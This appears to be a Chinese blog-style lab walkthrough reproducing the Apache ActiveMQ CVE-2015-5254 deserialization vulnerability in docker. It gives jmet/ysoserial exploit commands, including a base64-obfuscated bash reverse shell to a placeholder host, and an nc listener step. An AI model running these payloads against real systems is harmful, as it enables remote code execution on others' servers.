ActiveMQ(CVE-2015-5254)
ActiveMQ 反序列化漏洞(CVE-2015-5254)
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞复现
漏洞利用条件:
- 拥有web管理页面的权限,可以读消息,触发漏洞
- 可以把payload作为消息发送到61616端口
- 构造(可以使用ysoserial)可执行命令的序列化对象
使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
payloady:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息:
点击查看这条消息即可触发命令执行,此时进入容器docker-compose exec activemq bash
,可见/tmp/success已成功创建,说明漏洞利用成功
将命令替换成弹shell语句再利用
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ImJhc2ggLWkgPiYgL2Rldi90Y3AveW91ci1pcC80NDQ0IDA+JjEiID4gL3RtcC9zaGVsbDEuc2g=}|{base64,-d}|{bash,-i}" -Yp ROME your-ip 61616
bash -c是从字符串中读取指令
bash -i 是bash的交互
base64 -d是将数据解码
ps:
这里之所以使用base64编码,是因为直接echo传递写入后门程序会被jmet脚本接收不到完整的参数,所以这样使用
执行完后读取消息则会生成后门脚本
开始使用nc监听
执行后门脚本
读取消息后连接成功后门
好耶~
看来序列化这东西还是得少用之前摸鱼派的聊天室设计就考虑过用序列化,后来试了一下,bug太多就放弃了
服务端的序列化漏洞挺多的,建议能不用就不用😉